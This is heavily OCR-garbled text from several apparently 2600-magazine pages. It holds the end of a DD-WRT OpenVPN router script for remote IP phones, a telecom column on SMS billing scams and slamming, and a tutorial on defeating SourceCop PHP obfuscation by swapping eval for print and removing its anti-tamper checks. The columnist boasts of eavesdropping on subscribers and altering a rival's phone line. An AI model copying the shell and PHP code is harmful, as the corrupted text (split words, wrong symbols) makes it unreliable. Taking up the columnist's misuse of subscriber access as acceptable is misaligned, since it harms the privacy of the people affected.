c hmod 777 /tmp/openvpn/rout e-up . sh 
chmod 777 /tmp/openvpn/route-down . sh 
echo 're sult = O' » /tmp/vpngo . sh 
echo 'p i nglo s s = O '  » /tmp/vpngo . sh 
echo 'p i nglo s s 2 = 0 '  » /tmp/vpngo . sh 
echo 'rm /tmp/vpngo . sh' » /tmp/vpngo.sh 
echo 'rm /tmp/vpngo.sh' » /tmp/vpngo . sh 
e cho 'rm /tmp/keypass' » /tmp/vpngo.sh 
echo 'date 092 0 110 8 2 0 07' » /tmp/vpngo . sh 
echo 'touch /tmp/keypass' » /tmp/vpngo.sh 
echo 'echo '***PKCS12 F ile Pas sword***' > /tmp/keypass' » /tmp/vpngo . sh 
e cho '/u s r/sbin/openvpn --con f i g  /tmp/openvpn/openvpn . conf --rout e-up /tmp/openvpn/route­

"up.sh --down /tmp/openvpn/route-down . sh --askpa s s  /tmp/keypass' » /tmp/vpngo.sh 
echo ' sleep 6 0' » /tmp/vpngo2 . sh 
echo while [ "x" ]' » /tmp/vpngo2.sh 
echo do' » /tmp/vpngo2 . sh 
echo sleep 12' » /tmp/vpngo2 . sh 
echo result = � i f conf ig tunO 2 > &1 I grep -c RUNNING" » /tmp/vpngo2.sh 
echo if [ $re sult -eq 0 ]' » /tmp/vpngo2.sh 
echo then' » /tmp/vpngo2 . s h  
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echo sleep 10' » /tmp/vpngo2.sh 
echo result=�ifconfig tunO 2>&1 I grep -c RUNNING-' » /tmp/vpngo2.sh 
echo if [ $result -eq 0 l' » /tmp/vpngo2. sh 
echo then' » /tmp/vpngo2. sh 
echo while [ $result -eq 0 l' » /tmp/vpngo2.sh 
echo do' » /tmp/vpngo2.sh 
echo killall openvpn' » /tmp/vpngo2.sh 
echo /usr/sbin/openvpn --config /tmp/openvpn/openvpn. 

"conf --route-up /tmp/openvpn/route-up.sh --down /tmp/openvpn/ 

-'route-down.sh --askpass /tmp/keypass &' » /tmp/vpngo2.sh 
echo ' sleep 40' » /tmp/vpngo2.sh 
echo ' iptables -t nat -I PREROUTING -i tunO -p udp --dport 

.. 5000:5300 -j DNAT --to-destination 192.168.1.10' » /tmp/vpngo2.sh 
echo I iptables -I INPUT -p tcp --
dport 443 -j logaccept' » /tmp/vpngo2.sh 
echo iptables -I INPUT -p tcp --dport 22 -j logaccept' » /tmp/vpngo2.sh 
echo result='ifconfig tunO 2>&1 I grep -c RUNNING" » /tmp/vpngo2.sh 
echo done' » /tmp/vpngo2.sh 
echo result='ifconfig tunO 2>&1 I grep -c RUNNING'- » /tmp/vpngo2.sh 
echo fi I » /tmp/vpngo2. sh 
echo fi' » /tmp/vpngo2. sh 
echo sleep 11' » /tmp/vpng02.sh 
echo ' pingloss2='ping -c 5 172.16.201.11 I grep -

-'c "100% packet loss"" » /tmp/vpng02.sh 
echo if [ $ping1oss2 -eq 1 ], » /tmp/vpngo2.sh 
echo then' » /tmp/vpng02.sh 
echo ' sleep 10' » /tmp/vpng02.sh 
echo ' pingloss2='ping -c 8 172.16.201.11 I grep -

-. c "100% packet loss"" » /tmp/vpng02. sh 
echo if [ $pingloss2 -eq 1 l' » /tmp/vpngo2.sh 
echo ' then' » /tmp/vpngo2. sh 
echo ' pingloss3='ping -c 8 ***YOUR PUBLIC IPCOP 

.SERVER*** grep -c "100% packet loss"" » /tmp/vpngo2.sh 
echo if [ $pingloss3 -eq 0 l' » /tmp/vpngo2.sh 
echo then' » /tmp/vpng02.sh 
echo killall openvpn' » /tmp/vpngo2.sh 
echo sleep l' » /tmp/vpngo2.sh 
echo /usr/sbin/openvpn --config /tmp/openvpn/openvpn. 

-'conf --route-up /tmp/openvpn/route-up.sh --down /tmp/openvpn/ 

-'route-down.sh --askpass /tmp/keypass &' » /tmp/vpngo2.sh 
echo sleep 2' » /tmp/vpngo2.sh 
echo fi' » /tmp/vpngo2.sh 
echo ' fi' » /tmp/vpngo2.sh 
echo ' fi' » /tmp/vpngo2.sh 
echo ' done' » /tmp/vpngo2.sh 
chmod 777 /tmp/vpngo.sh 
chmod 777 /tmp/vpngo2.sh 
chmod 777 /tmp/keyp a s s  
s h  /tmp/vpngo . sh & 
sh /tmp/vpngo2.sh 

***DO-WRT Firewall Script**** 
iptables -t nat -I PREROUTING -i tunO -p udp --dport 

... 5000:5300 -j DNAT --to - destination 192.168.1.10 
iptables -I INPUT -p tcp --dport 22 - j l ogaccept 
iptables -I INPUT -p tcp --dport 4 4 3  -j l ogaccept 

The router stayed connected and was recon necti ng when necessa ry. Thi s  was to be the 
rock so l i d  remote I P  phone so l ut ion I was search ing  for. H owever I wanted others to a l so 
manage the server and to be ab le  to set up new cert i f icates (phone users) when necessary 
and my 5u5e setup via certif i cates wou l d  be a cha l lenge for non-L i n u x  a d m i n s .  So I needed 
a n  eas ier  more user-fr iend ly  management interface. I PCop with "Zeri n i "  wou l d  f it the b i l l  
perfect ly. I i n sta l led I Peop wi th the OpenVP N add-on "Zer i n i ." I was surpr i sed a t  how easy i t  
was to configure m u l t i p l e  OpenVPN tunne l s with the bu i l t i n  cert if icate manager. A s  for the 
D D-WRT box, a l l  I needed to have the end users do was to p l ug it i nto any DHCP enab led 
network with  I nternet access .  That i t! I then conv i n ced management to pu rchase 65 L i n ksys 
WRT54G Ls for less tha n $45 each and f lashed them wi th DD-WRT (v2 3 spl-vpn ) .  However 
you don't necessa ry need to pu rchase WRT54GLs .  Any supported router l i sted on the D D­
WRT s i te w i l l  do .  We now have over 60 remote users (sa les, support, etc. ) that re l y  on the i r  
phones  every day, and  a l ready have p lans  to more tha n doub le  the n u mber of  users! I have 
tested thi s  w ith Norte l 's i 2 00 1 , i 2 002,  i 2 004, and  i 2 007 I P  phones.  You can a l so u se this setup 
to con n ect remote offices as we l l, not j ust Norte l IP phones!  

Thanks to "BrainS/ayer" for OO-WRT ( www. dd-wrt. com) and the IPCap crew (www . 
.. ipcop.arg)! 
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G reet i ngs from the Centra l Off ice! I t's 
h ard to be l ieve that s u m mer is a l ready here, 
but  the sol st ice is j u st a rou nd the corner a n d  
the ra i n  has a l ready gotten a l i tt l e  wa rmer. 

A l though I ra re l y  see the s u n  from my 
w i n dowl ess workp l ace, we actu a l l y  get 
a lot of it d u r i n g  the s u m mer. Here i n  the 
Pac if ic  Northwest, the s u n  r i ses j ust after 
five i n  the morn i ng, a n d  does n ' t  set u nt i l 
after n i ne at n ight. With on ly  th ree months 
a yea r  of sem i -decent weather, peop l e  spend 
a lot more t ime outdoors, a n d  mob i l e  phone 
usage skyrockets. Cap i ta l i sm bei ng what i t  
i s, u nscrupu lous mob i l e  serv i ce p rov iders 
a re l u rk i n g  i n  the s hadows with a n  i nter­
est i ng  new way to m ake a q u i ck buck. And, 
l ike ou r i n d i genous (and revolt i ng) banana  
s l ugs, they ' re l eav i ng a t ra i l  of  s l i me wher­
ever they go. 

The more that scams change i n  the te l e­
com m u n i cat ions i n d ustry, the more they stay 
the same. D u r i n g  the 1 980s, p rem i u m- rate 
" i nformat ion serv ices" such as 9 7 6, 540, a n d  
9 0 0  n u m bers were i ntroduced. Although 
there were a few except ions (such as  pay-per­
ca l l  tech n i c a l  support l i nes), these serv ices 
were most l y  scams  i ntended to b i l k  u nsus­
pect i ng  subscr i bers. They ' d  offer d i a l -a-joke, 
d i a l -a-moan, or other serv ices of d u b ious 
va l ue, add i n g  eye-popp i n g  (and often u n d i s­
c l osed) charges to a subscr i ber ' s  month l y  
b i l l . W h e n  you received a n  outrageous 
phone b i l l , Ma Be l l  wou l d  c l a i m  that they 
were j ust a b i l l i n g  agent, but  then th reatened 
to s h ut off you r  phone i f  you d i d n ' t  pay the 
so-ca l l ed "th i rd party" charges. There were 
few ( i f  a ny) regu l at ions a rou nd d i sc losu re of 
pay-per-ca l l  charges, or opportun i t ies to opt 
out of them. 

Eventu a l l y, both the FCC a n d  n u merous 
state p u b l i c  ut i l ity com m i ss ions i ntervened 
to stop the madness. They req u i red Ma 
Be l l  to b l ock " i nformation serv i ce" pay-per­
ca l l  n u m bers at no cha rge u pon request, 
a n d  proh ib i ted d i scon nection of you r 
l i ne for fa i l u re to pay t h i rd-party charges 
(prov ided that you pa id  you r local  serv ice  
cha rges on t i me). Add i t iona l  req u i rements 
were p l aced on serv ice prov i ders, forc i ng 

them to both d i sc lose p r i c i n g  u p  front and 
a l low subscr i bers to hang u p  without bei ng 
charged i f  they d i d n ' t  agree. Pred i ctab l y, the 
m arket for such " i nformation serv ices" effec­
t ive ly d r ied up - after a l l , i t ' s  o n l y  p rofita b l e  
t o  run  a s c a m  i f  you can both fool a sucker 
and force them to pay without recou rse. 

Wel l , fast forward to 2 007 a n d  the same 
t h i n g  i s  happe n i n g  a l l  over aga i n. Ever heard 
of Dada Mob i l e? B l i nko? J a m ster? U nt i l 
recent ly  I hadn ' t, but  I p refer to spend my 
eve n i ngs in the centra l off ice perform i n g  
"serv ice  mon itor i ng" o f  my s u bscr i bers' 
p r ivate conversations. Hey, i f  the NSA 
doesn ' t  need a warrant, I f igu re that I don ' t  
e i ther. However, i f  you watch MTV, Amer­
ican Idol, or any te lev is ion show with a 
m a i n strea m a u d i ence, you ' ve p robab l y  
encou ntered a n  ad for a "prem i u m-rate text" 
serv i ce offered via an SMS short code. I n  
other words, vote for you r  favor ite ce lebr i ty 
and get soaked on you r ce l l u l a r  phone b i l l . 
Or, if you ' re c reative, maybe soak someone 
e l se ' s  ce l l u l a r  phone b i l l  .... 

SMS short codes ( referred to as Com mon 
Short Codes or CSCs) a re five-d ig i t  and s ix ­
d ig i t  codes i ssued by the CTIA, a ce l l u l a r  
i n d ustry lobby i ng group. Anyone c a n  l ease 
one, at costs rang ing  from $ 5 00 per month 
(for a random l y  issued CSC) to $ 1 000 per 
month (for a van ity CSC). Th i s  gets you the 
n u m ber ass ignment and m a i ntenance i n  
t h e  CSC database (wh i c h  i s  performed by 
Neu Sta r, a company that contro l s  a shock ing  
percentage of  cel l u l a r  network i nfrastruc­
tu re; a mong other  th i n gs, they a l so control 
system ID ass ignments). However, owners 
of CSCs m u st n egoti ate i nterconnection 
agreements with every wireless carrier i n d i ­
v i d ua l l y. A l ternat ively, they can work w i t h  a 
serv i ce prov i der ( such as Ver i  S ign  - a nother 
corporation with a n  i nc red i b l e  degree of 
i nf luence i n  the wi re l ess i ndustry) who has 
ex i st i ng  i n terconnection agreements with 
most carr iers. 

Armed with a short code and an i ntercon­
nection agreement, you ' re i n  bus i ness! J u st 
fool some sucker (often a ch i ld )  i n to sen d i ng 
you a text message a n d  you can then tack 
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absurd charges (whi ch can recu r  as often as  
week ly) onto the i r  phone b i l l  w i th v i rtua l  
i m p u n i ty. Su re, there a re some vo l u ntary 
i ndustry p rov i s i o n s  and codes of conduct, 
whi ch i n  pract ice a re j u st so m uch horse 
m a n u re .  I t ' s  j u st l i ke the bad old days of the 
1 980s .  Charges a re b i l l ed w i th scant ( i f  any)  
d i sc losure a n d  w i re l ess phone comp a n i es 
threaten to shut the i r  c u stomers ' phones off 
if the thi rd-party charges a re n ' t  p a i d .  The 
d i fference is the sheer audac i ty w ith whi ch 
thi s  i s  done a n d  the a l m ost comp l ete l ack  of 
recou rse. W i re l ess te l eco m m u n i cations  (by 
des ign )  i s  a v i rtual l y  u n regu l ated i nd u stry. 
Don ' t  expect re l i ef from the FCC or pub l i c  
ut i l ity com m i ss ions  on  thi s  one .  And wi th 
Congress i n  the pocket of lobby i n g  groups 
such as the CTIA, thi s  p rob lem is u n l i ke ly  to 
ever be so lved . 

(By the way, than ks, E rrat ic, for subscr i b i ng 
my cel l phone to e ight separate r i ng tone 
dow n l oad and ce lebr i ty update serv i ces thi s  
morn i ng. I can ' t  wait  t o  get m y  b i l l  and  I 
hope you don ' t  m i nd that the USOC on your 
POTS l i n e  cha nged to 1 2 B. Oops, my f i n ger 
s l i pped . )  

So ,  l et ' s  rew i n d  to  the 1 980s aga i n .  I n  
1 984, the long  d i stance market was deregu­
l ated . Most subscr i bers stayed w ith AT&T, but 
u psta rts MCI  and Spr int q u i c k l y  grabbed the 
N u mber Two and N u mberThree shares i n  the 
market respective ly. By the late 1 980s there 
were over a dozen long d i sta nce compa n i es 
and by the ea r ly  1 990s there were l i tera l l y 
hundreds. The market beca me i nc reas i ng ly  
cutthroat a n d  prov i ders ca me up wi th a l l  
sorts o f  i nterest i n g  ways t o  gai n  your long 
d i stance bus i ness.  For examp l e, one long 
d i stance com pany d id bus i ness as  "The Phone 
Company"  so any (often e l der ly) subscr iber 
that asked for "The Phone Company" as 
the i r  long  d i stance prov i der wou l d  get them 
- not s u rpr i s i ng ly, at noncompet i t ive rates. 
Another company, LCI ,  sold its serv i ces v ia  
m u lt i level market i ng, often a l ongs ide prod­
ucts l i ke A mway a n d  Mary Kay. Ev ident ly, i t  
pai d  off .  Today LCI  i s  Qwest, one of the few 
rema i n i ng Baby Be l l s  (Qwest acq u i red US 
West i n  2 000) . And everyone has probab ly  
heard the story of c igar-cho m p i n g  M i ss i s­
s i pp i  scam art i st Bern i e  Ebbers, former CEO 
of  Wor i dCom a n d  now I n m ate #5 602 2 -054 
at FC I  Oakda le .  

With a l l of thi s  competi t ion,  a prac­
tice known as " s l a m m i ng" became a major 
prob l e m .  Long d i sta nce compa n ies  wou l d  
u s e  d u b i o u s  (often borderi ng on  u n ethi ca l )  
methods to  switch you  to  the i r  long d i sta nce 
serv ices .  For exa m p l e, AT&T m a i l ed m i l l i ons  
of  $ 1 00 checks .  These looked l i ke rebate 
checks, perhaps from a l ega l  sett lement 

(of  whi ch there were many at the t i me) . 
H owever, the f ine  p r i nt on the back i nd icated 
that you r  s ignature a utho r i zed switch i n g  
you r  long  d i stance serv i ce t o  AT&T. A n d  
for a few years, i t  seemed l i ke no  d i n ner i n  
A m e r i c a  wou l d  ever g o  u n i nterru pted b y  a 
sa les p i tch from a long  d i stance company. 
Some compa n i es d i d n ' t  even bother a s k i n g  
f o r  author i zatio n .  They ' d  j u st swi tch y o u  to 
the i r  long  d i stance serv ice  (often b i l l ed at 
outrageous  rates) . Many consu mers d i dn't 
even notice.  

Eventu a l ly  enough po l it i c i a n s  were 
perso n a l l y  affected by the p rob lem and the 
FCC c racked down aga i n .  Subscr i bers now 
have the r ight to i n i t iate a " P I C  Freeze, " 
whi ch req u i res the subscr iber  to contact 
the i r  l ocal phone company to change long 
d i stance carr i ers . Unscru p u lous  carr iers who 
engage i n  s l a m m i ng are subj ect to f i nes a n d  
even c r i m i na l  pen a l ties .  A n d, for the most 
part, i t  does n ' t  m atter m uch anymore as most 
subscr i bers use the i r  ce l l phones for long 
d i stance these days. Without m uch fanfare, 
AT& T ex i ted the res ident i a l  long d i sta nce 
market l ate l ast year. 

These days we ' re begi n n i ng to see a 
d i fferent k i n d  of s l a m m i ng - ce l l  phones! For 
the past few years, you ' ve been ab le  to ta ke 
you r  phone n u mber with you when chang ing  
carr iers .  Unscrupu lous  w i re less phone 
compan ies have used this to the i r  advantage. 
They cal l ,  i ntroduce themselves as some­
thi ng l i ke "Your  Wi reless Phone Company" 
(that ' s  the i r  actua l  company name, just l i ke 
the long d i sta nce carr ier  cal l i ng  i tse l f  "The 
Phone Company"), and offer to send you 
a new, free phone. I f  you agree, they wi l l  
i ndeed send you a free phone - a long with a 
brand new serv ice prov ider, a bra nd new rate 
p lan (at unfavorab le  rates), and a brand new 
contract with a hefty ear ly  termi nat ion fee. 
Add i n g  i n su l t  to i nj u ry, your prev ious  wi re­
less provider w i l l  a l so b i l l  you an ear ly  term i ­
nat ion fee i f  you were sti l l  i n  contract w i th 
them.  And al l of thi s  is be i ng done legal ly, 
u nder procedu res out l i n ed by the FCC. 
Spea k i n g  of the law of u n i ntended conse­
quences, your  ex i st i ng w i re less prov ider i s  
prohi b i ted b y  law from even warn i ng you 
that you m i ght be the v ict im of a scam . 

And on that note, an outs i de p l ant  techn i ­
c i a n  to l d  me that we ' re headed for a few s u n  
breaks and the c l ock te l l s  me that m y  shift i s  
over. I t ' s  t i me t o  get outs ide a n d  enjoy the 
weather! H ave a fun summer, watch out for 
phone scams, and I ' l l  see you aga i n  in the 
fa l l .  Or perhaps, if you ' re l ucky enough to 
v i s i t  the spectacu l a r  Pac i f ic  N orthwest, you ' l l  
even see m e  at a 2600 meeti ng! 
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Deobfusca 

by Kousu 
kousue@gmail.com 

Boilerplate: I don ' t  offi c i a l l y  condone any 
of  these act iv i t ies, of  cou rse. U se you r  own 
judgment. 

Introduction 
Compi led l a nguages let you d i st r ibute 

b i nar ies  wh i ch,  a l though a l l  the mach i n e  
code i s  there, a re genera l l y  extremely 
t i me-con s u m i n g  to d i sassemble .  Scr ipt i ng  
l angua ges do not have such a l u x u ry. They 
dea l at  a h igh l eve l ,  and ru n n i ng code on 
the i r  level req u i res u s i n g  h igh- level constructs 
( u n l i ke with compi led l a nguages, where the 
output i s  very l ow l evel and the secur i ty is  
that 1 )  i nformat ion - names, i ndentat ion,  
etc .  - i s  l ost in  the comp i l at ion and  2)  not 
many peop le  h ave the sk i l l s to do the reverse 
operat ion ) .  

I n  the scr ipt i n g  language world, there a re 
a great deal  of i d i ots and/or l i a rs who scam 
even b i gger i d i ots by prom i s i n g  that no one 
w i l l  be ab le  to " stea l "  the i r  sou rce code. 

I t  shou l d  send up  a warn i ng f lag i f  you 
ever cons ider u s i ng obfuscated code, espe­
cially if i t ' s  obfuscated . I n  p r i n c i p l e, t h i s  is as  
bad as b i nary b l obs, wh ich  have led to, for 
exa m p l e, rootk i tab i l i ty of every system u s i n g  
Wi-F i . I n  t h e  great trad i t ion  o f  para n o i a  of 
th i s  great z i ne, cons ider that no one knows 
what the scr ipt is u p  to . I s  i t  fu l l  of bugs? 
I s  i t  phon i n g  home and  giv ing confident i a l  

iancar·£�p ·Tactuar obfusc"ated script 
:scopbinl 
: 911006.php #support code 

i nformat ion l i ke c red i t  card n u m bers to the 
or ig i n a l  author?  

We l l , l uck i ly, with scr i pti ng l a nguages, 
obfuscat ion  is d i ffi c u l t  to actua l l y secu re.  
There ' s  no way to run  a gener ic  progra m on 
such code and  res u l t  i n  a complete l y  i rrevers­
i b l e  encryption for the same reason D RM is 
fundamenta l l y f lawed: you have to decrypt it 
somewhere in order for i t  to r u n .  You ' d  need 
some sort of se lf-generati ng code to do i t, but 
even then the very th i ng wh ich  ma kes in ter­
preted l a nguages so f lex i b l e  (the eva I fu nc­
t ion/statement) that wou l d  have to be used 
to i m p lement th i s  can, with some effort, be 
i n tercepted so that eventu a l l y  you f ind the 
or ig i n a l  code. Other t r icks i nvo l v i n g  the use 
of externa l  l i brar ies a re u n l i ke l y  because 
of the comp lex i ty to the user (the one who 
wa nts to obfuscate the i r  code) and secu r i ty 
reasons, espec i a l ly i n  web deve l opment .  

SourceCop 
We ' re go i ng to use as o u r  case study 

Sou rceCop, ava i l ab le  from http://www . 
- sourcecop. coml for only $ 3 0  ( regu l a r  
pr ice $45 ! )  w i t h  t h e  n ice guarantee that 
SourceCop 'd  code runs on a l l  of U n i x/L i n u x/ 
BSD/MaclWi ndows (wh ich  is noth i ng more 
than the I ist of p l atforms for PH P . . .  ) . 

So, fi rst of a l l  we i nsta l l  P H P  (from http:/ I 
- php.net or you r  loca l package m i rror if on 
a *n i x) ,  i f  not a l ready i n sta l l ed, and  then we 
get to work.  

Loo k i n g  at a Sou rceCop ' d  scr ip! we see: 

i From our  knowledge of CGI  scr i pts (of wh ich  P H P  scr i pts a re a subset) i n  genera l ,  we 
iknow that the webs i te http://examp1e .org/path/to/script/dhcart.php w i l l  cause P H P  to 
i load and run  dhcart . php .  PH P, be i n g  a scr ipt i ng  l anguage, just runs  from the top, so we can 
:start trac i ng the code i m med iate l y  and  loo k i n g  for ways to get at the actu a l  code: 

:$less dhcart. php !<?php if (lfunction_exists ('findsysfolder ')} {function findsysfolder{$fld) {$fldl�di 
� .. rname ($fIdl ; $fld=$fldl. '/scopbin r ; clearst.atcache () ; if ( ! is_dir ($fIdl ) return finds 
i-ysfo1der ($f1d11 ;e1se return $f1d;}}require_once (findsysfolder ( __ FILE __ I. '/911006. 
-php'l ;$REXISTHECAT4FBI='FE50E574D754E76AC679F242F450F768FB5DCB77F34DE341 
[ ... snip a lot of Hex . .. J 

i$REXISTHECAT4FBI=' 94CD76CD371C5A7BC70C186E779C293B9B49BACASA781A6'; 
'-'eval{y0666fOacdeed38d4cd9084ade1739498 ('311B3C4449F3 l071CO',$REXISTHEDOG4FBI» ;? > 

. So we see that it defi nes a funct ion "fi ndsysfo lder" if it does n ' t  ex i st .  At the end it ca l l s  
a funct ion that itself h a s  a n  obfuscated name ("y0666fOacdeed3 8d4cd9084ade1 73 9498" )  
with two arguments :  a str i n g  of hex (probab l y  more obfuscat ion? )  and a va r i ab le  $ R EX IS -
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THEDOG4FBI ,  which is defi ned as a b i g  b lock  of hex whi ch i s  certa i n l y  the obfuscated code 
( i nc identa l l y, thi s  program always uses the same stup i d  var iab le  name) and then passes thi s  
stra ight i n to eva l O .  

Thi s  l a st poi nt  i s  o u r  attack vector, the weakness I spoke of. I n  fact, SourceCop appears 
to be over ly  s i m p l i st ic  (and i t  p robab ly  i s ) .  I t  on l y  has one eva l O  ca l l  in the ent i re b lock, so 
whatever thi s  eva I does is the entirety of the funct ion of thi s  scr i pt and  what is passed i nto i t, 
by defi n it ion of eva lO ,  m u st be the p l a i ntext code. So s i m p l y  rep lac ing  eva l O  wi th a pr i ntO wi l l  
g ive u s  the code! Su re, i t's poss i b l e  the code cou l d  be m u l t ip le-obfuscated a n d  that thi s  wou l d  
j u st g ive us  another obfuscated b lock  o f  source code, but then you j u st repeat thi s  process 
u nt i l you get to the f i n a l  p l a i ntext. And that is why obfuscation is use less and why anyone who 
has the ga l l  to sel l a shitty "p roduct" that does it deserves to lose h is  ba l l s .  

Back to the code: 
So we rep l ace thi s  eva l w i th "pr i nt" and then hop to the command l i ne:  

$ed - /dheart/ 
$php dheart . php 

$ 

What? Very strange ly  we got no output! Perhaps i t ' s  t ime to check out what's i n  that myste­
r ious scopbi n f i l e  ( i n c identa l ly thi s  same f i l e  is used for every Sou rceCopp i ng) : 

$ Ie s s  s e opb in/ 9 1 1 0 0 6 . php 
<?php ini_set ( ' include-path ' , dirname ( __ F I LE __ ) i 
[ . . . J 

function g 0 6 6 6fOacdeed3g 0 6 6 6fOacdeed38d4 cd9084ade 1739498 ( $s ) { return (strst 
--r ($s, 'echo ' ) =�false ? (strst r ( $s ,  ' print ' ) = = false ) ? (strst r ( $s ,  ' sprint ' ) = = 
-false ) ? ( st rstr ($8, r sprintf r ) = =false ) ?false : exit ( )  : exit ( )  : exit ( )  : exit ( )  ) ; } 
[ . . .  ] ini_set ( '  includeyath ' , I . I )  j ? >  

I t  seems to be more of the same, except he l pfu l ly PHP req u i res n a m i n g  var iab les wi th $ 
s igns  so we can  spot that these are most l y  not obfuscated code but rather awkward l y  n amed 
var iab les .  So thi s  here i s  a progra m .  A l so, PHP requ i res the use of { }  so we can f igure out what 
the i ndentat ion shou l d  look l i ke .  I n i t ia l ly when I d i d  thi s  I put new l i nes in a l l  the r ight p laces 
and u s i n g  the magic of f i nd-and-rep lace I shortened a l l  the n ames and traced through i t  try i n g  
t o  u ndersta n d .  B u t  the q u i ck f ix  here i s  s i m p ler  than that a n d  I w i l l  cut  t o  the chase. N e a r  the 
m i d d l e  we see the u se of "strstr ($s, 'pr i nt ' )"  among others i n  a ternary hook cha i n, where a l l  
the f i n a l  e l se c l auses are "ex i tO " .  I t's a good bet that thi s  f i l e  i s  look i n g  i ns i de o u r  source f i l e  for 
any u ses of echo/pr i ntlspr i ntlspr i ntf ( i .e . ,  any attem pts to do exactly what we' re doi ng) and if 
so j u st k i l l i ng the program .  S i m p l y  remov i n g  thi s  check shou l d  m a ke i t  work, so long as  there 
a re no other b l ocks .  There a re m u l t ip le  ways of remov i n g  it: the q u i ck-a n d-d i rt iest by far is to 
j ust rename what i t ' s  searchi ng for. 

Most rel i ab ly, rep l ace a l l  the exitO ca l l s  wi th some ben ign return va l ue, l i ke a fa l se, as  
show n .  Or even better, b lank  the fu nction body, remove everyth ing, and  j u st put  a " return  
fa l se;" . 

$ e d  - / dhcart/ 
$php dheart . php 

< ?php 

include I Iphpmailer/class. phpmailer . php ll ; 
include " whois servers . php " i 
include 1I1anguage . php ll i 

if ( i empty ( $HTTP_GET_VARS ) )  while ( list ( $name , $value ) 
.. � each ( $HTTP GET VARS ) ) $$name � $value ; 
if ( ! isse t ( $HTTP SESSION VARS [ ' numberofitems ' ] » 

$HTTP SESSION VARS [ ' numberofitems']= O i 
if ( J isset { $HTTP SESSION VARS [ ' numberremoved ' ] ) )  

$HTTP_SESSION_VARS [ 'numberremoved ' ] = O ;  

$numdomreg=count ( $registe r )  ; 
A C  
$ #hooray . we see that i t  works and stop i t  before i t ' s 
f ini shed . Now to save the results to a f i le .  
$php dheart. php > dheart . deerypted . php 

Discussion 
Sou rceCop is a part i c u l a r l y  weak obfuscat ion . A l l  it does is use a cypher funct ion to hide 

the code and then make i t  d i ff ic u l t  for a hu man to fol low the decryption code by us ing long 
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mea n i ng l ess var iab le  n a mes. B ut the bas i c  tec h n i q u e  is the same for any of these systems.  
These systems a re j ust down r ight stu p i d .  Fr iends Don ' t  Let Fr iends Use Obfuscators .  

The method presented here - lett i ng  u n known code run  on you r  system - i s  potent i ally 
da ngerous .  I t ' s  not i mp l a u s i ble that an obfuscator could try to detect if i t ' s  be i n g  run  wrongly 
somehow and cause da mage of u n known magn i tude.  Su re, if that booby trap was evpr set 
off i ncorrpctly i t  cou l d  be very bad for the obfuscato r ' s  bus i ness ,  bu t  w i th  the level of short­
s ighted ness blata ntly d i sp l ayed here i t ' s  a perfect poss i b i l i ty. I t  would be wise to set up a j a i l  
system to test these th i ngs out on. I f  ru n n i ng a * n i x  you c a n  make a ch root j a i l  to d o  th i s .  
Another method i s  t o  trace t h e  code m a n u a l ly, try t o  figu re out what i t ' s  up  to, and t h e n  wr i te 
a program i mp l ementi ng the decrypt ion scheme. Let ' s  see that now. B ut fi rst, a preface. 

I n  d igg i ng through SourceCop I feel l i ke vom it i ng. I t 's  d i sgust i ng, d i sgust ing  codp ilnd j u st 
wast ing  C P U  cyc les lett i ng it run  is nauseati ng. 

Reverse Engineering 
B u t  anyway, here is the scopb i n/9 1 1 006 . php f i l e  i ndented p roperly: 

f u nc t i on A45 4 0 acdeed38d4cd9084 ade 1 7 3 9498 ( $x89 7 3 5 6954 c2c d 3 d41b  
-'221e3f24t99bba , $x 2 76e 7 9316561 733d 6 4 abd f O O f8eB ae48 ) 
{ ret urn $Xew6 e79316 5 6 1 733d64abdf O Of8e 8 a e 4 8; } 
funct ion b5434fO acdeed38d4cd9084ade 173 9498  ( $x8973 569 5 4 c2cd3 d4 ] 
"b221e3f24f 99bba , $x276e79316561733d64abdf O O f8e8ae48 ) 
{ return $Xew6e79316561733d64abdf o Of8e8ae48; } 
funct ion c43dsdOacdeed38d4cd9084ade 1 739498 ( $x897356954c2cd3d41 
"b221e3f24f99bba , $x276e79316561733d64abdfO Of8 e8ae48 ) 
{ return $Xew6e793 16561 7 3 3 d64 abdf O O f 8e8ae48; } 
funct ion XdsfOacdeed38d4cd90 B4ade1739498 ($x897356954c2cd3d41b 
"221e3f24f99bba , $x276e79316561733d64abdf O Of8e8ae48) 
{ return $Xew6e79316561733d64abdf O Of8e8ae48 ; }  

funct ion y0666fOacdeed38d4cd9084ade1739498 ($x897356954c2cd3d4 1 
"b221e3f24f99bba , $x276e79316561733d64abdfO Of8e8ae48 ) 

( 
$xOb43c25ccf2340 e23492d4d3141479dc= " ; 
$x7151 0c08e23d2083eda280 afa650b045=O; 
$x16754c94f2e48aaeOd6f3 4280507be58=strlen ($x897356954c2cd3d41b221e3f24f99bba ) i 
$x7a86c157ee9713c34fbd7alee40fOc5a=hexdec ( ' &H' . 
"substr ($x276e79316561733 d64abdf O Of8e8ae48 , O , 2)); 
for ($xlb90el 035d4d268e Od8b1377f3dc85 a2=2;$x1b90el035d4d268eOd8b1377f3dc85a2<strl 
"en ($x276e79316561733d64abdf O Of8e8ae48) ;$xlb90el 035d4d268eO d8b1377f3dc85a2+=2 )  

( 
$xe594cc261a3b25a9c9gec79da9c91ba5=hexdec (trim{substr ($x276e79316561 

"733d64abdf O Of8e8ae48 , $xlb90e1 035d4d268eOd8b1377f3dc85a2 , 2))); 
$x71510c0 8e23d2083eda2 8 0 afa650b045= ( ($x71510c08e23d2083eda280 afa650b045<$x16 

"754c94f2e48aaeOd6f34280507be58) ?$x71510c08e23d2083eda28 0 afa650b045 + 1 , 1); 
$xab638ge47b1edcf1a5267d9cfb513ce5=$xe594cc261a3b25a9c9gec79da9c91ba5 A ord (subst 

"r ($x897356954c2cd3d41b221e3f24f99bba , $x71510c08e23d2 0 83eda280afa650b045 - 1 ,  1)) ; 
if ($xab6 3 8 ge47bledcfl a5267d9cfb513ceS<= $x7a86c157ee971 3c34fbd7 alee40fOc5a) 

$xab638 ge47bledcf1a5267d9cfb513ce5=255+$xab638ge47b1edcfla 
"5267d9cfb513ce5 - $x7a86c157ee9713c34fbd7a lee40fOc5a; 

else 
$xab638 ge47bledcf1a5267d9cfb513ce5=$xab638 ge47bledcfla52 

"67d9cfb513ce5 - $x7a86c157ee9713c34fbd7a1ee40fOc5a; 
$xOb43c25ccf2340e23492d4d3141479dc=$xOb43c25ccf2340e23492d4 

"d3141479dc . chr ($xab638ge47bledcfla5267d9cfb513ce5) ; 
$x7a86c157ee9713c34fbd7alee40fOc5a=$xe594cc261 a3b25a9c9gec79da9c91ba5 i 
} 

return $xOb43c25ccf2340e23492d4d3141479dc; 
} 

funct ion f5434fOacdeed38d4cd9084ade1739498 ($x897356954c2cd3d41 
"b221e3f24f99bba , $x276e79316561733d64abdf O Of8e8ae48) 

